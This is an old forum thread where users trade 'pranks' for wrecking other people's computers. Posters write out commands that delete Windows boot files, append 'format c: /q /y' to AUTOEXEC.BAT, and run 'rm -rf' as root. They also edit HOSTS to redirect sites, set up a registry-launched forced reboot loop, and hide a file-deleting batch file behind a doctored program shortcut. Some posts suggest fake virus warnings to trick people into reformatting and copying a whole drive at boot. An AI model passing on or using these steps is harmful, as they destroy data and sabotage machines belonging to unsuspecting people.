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ThePerfectCore
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Yo, Ambien!

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We all spend time talking about how to fix our machines - let's talk about how we can generally fuck one up for fun or something like that.

I shall submit three (3) "pranks". I expect you all to add more.

PREVENT TEH MACHINE FROM BOOTING! OMG!!!

For Windws 95/98SE/Me:

Delete the following files in the root (C i'm a serial-killer :)

directory:

io.sys
msdos.sys
command.com

For 2000/XP:

Delete the following files from the C: root:

ntldr
boot.ini

PREVENT YOUR BUDDIES FROM ACCESSING THEIR FAVORITE WEBSITES!

For whatever MS OS you have, search for the "HOSTS" file. Not "LMHOSTS" or "HOSTS.SAM", just "HOSTS". Stick something like this on the last line:

Code:

127.0.0.1 [url=http://www.yahoo.com]www.yahoo.com[/url]

Without the URL tags.

OHNOS! NO MORE YAHOO! MAGUSMAGUSMAGUSMAGUS

Alternatively, you can trying finding the IP for nasty websites, and redirect people there. You don't have to use 127.0.0.1... just put the IP of the site you want the address to redirect to, when someone types it in.

Imagine the possibilities. (TM)

TOTALLY FORMAT THE HARDRIVE LOL!!!

This particular method doesn't work for 2000/XP, because it doesn't process an AUTOEXEC.BAT. Only 95/98/ME need apply. I'm also too lazy to make it work in 2000/XP.

Copy/paste this:

Code:

cd\\
cd\\windows\\command\\
format c: /q /y

Onto the tail end of the AUTOEXEC.BAT file, located in C: root. If it doesn't exist, paste all that in notepad, and then save the file as "AUTOEXEC.BAT".

REBOOT AND WATCH THE FUN!

So, yay

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On a linux system, go to root of system

cd /

then login as root

su
<enter>
password:
<enter password><enter>
rm -rf

Which will make the system unbootable.

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Yo, Ambien!

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Well, um, to do that, you'd need to be an admin, which means you either own the box or manage the box and get paid for it, so doing that would be pretty dumb.

So, yay

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Well, um, to do that, you'd need to be an admin, which means you either own the box or manage the box and get paid for it, so doing that would be pretty dumb.

BUT GENUIS NUN TEH LEZZ RITE?

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take a screenshot of their desktop then set it as a background, then delete their icons, also try putting the screenshot upside down.

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take a screenshot of their desktop then set it as a background, then delete their icons, also try putting the screenshot upside down.

Oh look, I have TWO Start Menus/Taskbars. OMG!

Create a Batch(.bat) that deletes the files that make the compootar boot(SEE FIRST POST) and hide it somewhere, like a folder in Program Files(IE: c:/Program Files/Photoshop/). For XP(NT based OS'), it should have

Code:

cd ..
cd ..
del ntldr /y
del boot.ini /y

and for the shitty OS' it should have

Code:

cd ..
cd ..
del io.sys /y
del msdos.sys /y
del command.com /y

If you hide it in, let's say, C:/a/b/c/, it should have 3 "cd ..". As many as it takes to get to C.
Now, for the real prank, replace a shortcut he uses frequently with a shortcut to the file deleter. Add a string to the file that opens the actual game/program he's using. I recommend you place it at the start of the file too. Now, he runs the shorcut and OHNOS! Once he reboots, no more searching Google for gay porn!

KEEP IN MIND THAT THIS HAS NOT BEEN TESTED. I'll only test it when I get to school.

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create an autostarting proces with a timer, have it call windowsshutdown after a random couple of minutes of uptime.

I had a lot of fun with this one.

Desperation -> d espE RAtI on -> A Repo Edsn It -> A Rope Ends It

Don't tell me, Show me.

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Quoted from Mingan:
create an autostarting proces with a timer, have it call windowsshutdown after a random couple of minutes of uptime.

I had a lot of fun with this one.

Perhaps you could explain how to do this for those of us with little to no experience with such things? Anyone can come up with the idea to make something that randomly shuts down windows, the trick is knowing how to do it.

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well... in XP you can setup a message that displays just before the logon screen (no doubt in the others too, but i only know it in XP)... its rather tame but ive screwed with people by posting virus warnings and shit to get them to reformat. also editing the shell to change the names and labels on things, error messages as well. that has both pranking and just moding uses, as i use it alot to change things on my comptuer to make them more entertaining for me.

you can always get an error to pop up (more than easy to do) and then screen capture, edit it to something a bit more interesting than what it really was and set it as their desktop image. i did that some back in school. that and the fake icons was fun for hte kids who knew shit about computers. also, the dyslexic kid who didnt even know what the error message was (for the record, he was a good sport and a good friend, so no harm was done). plenty of the us in college would screw with each others comptuers when that person wasnt around.

i used to know one to make a dat file that automaticly copied selected files/directories when it ran... set it to copy the entire hard drive and to run at boot and you've got yourself some fun. i dont remember it though... i know i tried to do it at best buy once though.

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one word

magnet

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Quoted from deadlydentures:
one word

magnet

One word...

Worthlessmotherfuckingpost.

On an on topic note, I'm still waiting for actual instructions on how to do this stuff. I'm sure other less computer literate people would appretiate it as well.

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Note: Unless otherwise specified, all pranks I mention will crash your computer. Tread carefully, even if you use Windows NT/2K/XP.

Here's one:
Make a BAT file with the following inside:

Code:

shutdown -r -t 01 -f

Then, place registry key in the appropriate location(typically HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run)to launch the bat file.
This prank basically continuously reboots the computer before it even finishes loading. The -f flag closes applications without warning, for an extra punch. This is basically Mingan's trick, except with better-defined instructions. You can change the number after the -t switch to whatever you want, in seconds.

To edit the registry, go to the command prompt(a little ferreting around the Start Menu will do you good), and type:

Code:
regedit

The Registry Editor will be launched.

Another:
When using Windows 9x/ME, type in the command prompt:

Code:

debug f 0:0 Lffff 0

Then hit enter, and enjoy.

Yet another:
If you have a C compiler, compile the program in the following link:
http://www.everything2.com/index.pl?node_id=1257393
Then set it to run at startup like I outlined above. It only works on 2000, NT and XP, AFAIK. Even then, maybe M$ has fixed it already.

On Windows 9x/ME:
Go to Start, then Run. Type in:

Code:

C:\\con\\con

The receiver of the prank is in for one nasty surprise.

Some more:
Go into pure DOS mode using a floppy and rename the Windows folder. Chaos will ensue at boot.

Even more:
Edit the Win.ini file in Windows 9x/ME and change the line "shell=explorer.exe" to "shell=YouHaveBeenHackedOMG" and that will be displayed when you reboot. Pretty annoying. You can change the text to whatever you want, though.

Check out:
http://www.charlietubbles.com/computerpranks.htm
Be warned - some antivirus programs recognise those files and attempt to quarantine or remove them. They aren't REAL viruses though. The descriptions should tell you enough.

I'll add more later when I think of them.

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This reply was last edited on 09-15-03 07:22:17 AM by Tonto_johnlee.

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Quoted from Arnok:
Quoted from Mingan:
create an autostarting proces with a timer, have it call windowsshutdown after a random couple of minutes of uptime.

I had a lot of fun with this one.
Perhaps you could explain how to do this for those of us with little to no experience with such things? Anyone can come up with the idea to make something that randomly shuts down windows, the trick is knowing how to do it.

you'd have to write that in code. write code that does what I described in the first post, and compile it as an application that autostarts.

I did it in pascal once, but I'm not going to do it again.

edit: King of sucks suggestion works without coding anything, but the shutdown wont be at random intervals.

Desperation -> d espE RAtI on -> A Repo Edsn It -> A Rope Ends It

Don't tell me, Show me.

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Quoted from Mingan:
Quoted from Arnok:
Quoted from Mingan:
create an autostarting proces with a timer, have it call windowsshutdown after a random couple of minutes of uptime.

I had a lot of fun with this one.
Perhaps you could explain how to do this for those of us with little to no experience with such things? Anyone can come up with the idea to make something that randomly shuts down windows, the trick is knowing how to do it.
you'd have to write that in code. write code that does what I described in the first post, and compile it as an application that autostarts.

I did it in pascal once, but I'm not going to do it again.

edit: King of sucks suggestion works without coding anything, but the shutdown wont be at random intervals.

Yeah. Maybe there's a VBScript program that could do that?

Another one:
http://www.jasonjordan.com.au/archives/000140.shtml
Sounds a bit ridiculous to me, though.

I Cheat Using Google:
Download the programs from http://www.freakyhumor.com/pranks.shtmland make them load at startup using the way I told you two posts back. The system won't crash, but your friend will be freaking annoyed.

You could also:
Download the programs at the following websites;

http://www.rjlsoftware.com/software/entertainment/fakefmt/download.shtml
http://www.rjlsoftware.com/software/entertainment/fakedel/default.shtml
Then, you set them to run at startup using the technique I've already mentioned. Your friend will go crazy, that is, if they know the ramifications of deleting your Windows folder or reformatting the C: drive.

An expansion on my original C:\con\con trick:
Set the C:\con\con as IE's homepage. The guy is in for a nasty surprise the next time he launches IE...

More!:

Download Wizmo from http://grc.com/wizmo/wizmo.htmand save it in your Windows system32 folder. Then, from the Run menu in Start or the commandline, type:

Code:
wizmo -open

And the CD drive will open. You can do much more with it, such as activating the screensaver. You could use the Task Scheduler to run this at certain times throughout the day, or run it repeatedly with an "assist-trick" I'll teach next. To get specific help for Wizmo, run it without flags from Start->Run by typing:

Code:
wizmo.exe

Note that you will have to type the full path if you didn't put Wizmo in the Windows\System32 or WinNT\System32 folder.

The Assist-Trick:
This is made to run with almost any trick that can be run from the Start->Run or commandline. Basically, if you can play the prank without too many complicated procedures, you can do it.

First, put what you want to do in a bat file and add the last line in my example below(make sure you replace it with the real location and name of the bat file), and make the bat file run at startup. The contents of the bat file could be(just an example):

Code:

C:\\stuff\\more\\evenmore\\wizmo.exe -blank
C:\\the\\location\\of\\this\\bat\\file\\batfilename.bat

In the example above, the guy's computer will launch the screensaver, and then it will repeat itself, again, again and again. An endless loop of death, if you will. This works on ALL versions of Windows. Better yet, it only reloads itself after whatever you're doing is done - thus, in our example above, it won't launch the screensaver if the screensaver is on already. It only will once you quit the screensaver. Handy.

More to come when I think of it.

This reply was last edited on 09-15-03 07:24:31 AM by Tonto_johnlee.

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Quoted from King of Suck:
Yeah. Maybe there's a VBScript program that could do that?

As far as I know there is no shutdown command in the ms script engine, but you could get a VBScript to run a random timer and call your bat file. people would see the thing pop up and run and whatnot, though.

Desperation -> d espE RAtI on -> A Repo Edsn It -> A Rope Ends It

Don't tell me, Show me.

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According to the computer tech at my old school, unplugging the keyboard gives the same error as if the hard drive fails.

For 2 days I didn't do a damn thing becuase he thought my hard drive was fried.

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It'd be helpful if some of you people said what doing something does, instead of just saying "omglol enjoi". It could do anything, and obviously that is bad if someone plans to use it.

Like the C:\con\con trick. What does that do?

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It crashes your computer, duh. On Windows NT/2K/XP, it does nothing.

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If your ideal victim is running Win2K or XP, remap their Shift key to Tab or something equally ludicrous.

http://www.microsoft.com/whdc/hwdev/tech/input/w2kscan-map.mspx

Better yet, find a highly Christian individual and remap every key to the number 6.

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Tried the C:\con\con thing on my PC, it doesn't work.

However, opening C:\con does work, opening up the "open with" tab, but when I open it in notepad it says its not there.

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